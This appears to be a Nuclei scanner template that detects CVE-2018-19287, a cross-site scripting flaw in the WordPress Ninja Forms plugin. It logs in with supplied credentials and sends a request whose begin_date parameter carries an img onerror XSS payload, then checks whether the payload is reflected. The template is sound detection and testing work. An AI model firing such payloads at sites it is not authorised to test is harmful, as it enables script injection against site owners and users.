id: CVE-2018-19287

info:
  name: WordPress Plugin Ninja Forms - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: XSS in the Ninja Forms plugin before 3.3.18 for WordPress allows Remote Attackers to execute JavaScript.
  reference:
    - https://wordpress.org/plugins/ninja-forms/
    - https://www.exploit-db.com/exploits/45880
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19287
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2018-19287
  metadata:
    verified: "true"
  tags: cve,wp-plugin,ninja-forms,wordpress,wp,xss,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Begin Date" value="\"><img src=x onerror=alert(document.domain);//">'
      - type: status 
        status:
          - 200
      - type: word
        part: header
        words:
          - 'text/html'